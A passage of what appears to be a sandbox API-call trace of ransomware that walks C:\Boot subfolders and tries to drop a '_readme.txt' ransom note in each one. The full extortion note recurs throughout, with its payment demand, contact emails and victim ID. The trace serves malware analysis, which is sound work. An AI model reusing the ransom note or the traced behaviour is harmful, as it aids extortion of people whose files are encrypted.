lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.341] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.341] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0117.341] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.342] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.342] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.342] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.342] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0117.342] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.342] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.342] PathFindFileNameW (pszPath="") returned="" [0117.342] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.342] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.342] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.342] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.342] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0117.343] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0117.343] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.343] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.343] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.343] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.343] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0117.343] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.343] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0117.343] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.343] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.344] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.344] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.344] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0117.344] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.344] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.344] PathFindFileNameW (pszPath="") returned="" [0117.344] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.344] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.344] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.344] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.344] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0117.344] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0117.345] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.345] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.345] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.345] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.345] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0117.345] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.345] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.345] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.345] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.346] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0117.346] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.346] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.346] PathFindFileNameW (pszPath="") returned="" [0117.346] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.346] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.346] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.346] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.346] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0117.346] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0117.346] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.347] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.347] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.347] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.347] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0117.347] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.347] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.347] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.347] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.347] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0117.347] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.347] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.347] PathFindFileNameW (pszPath="") returned="" [0117.347] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.348] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.348] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.348] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.348] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: 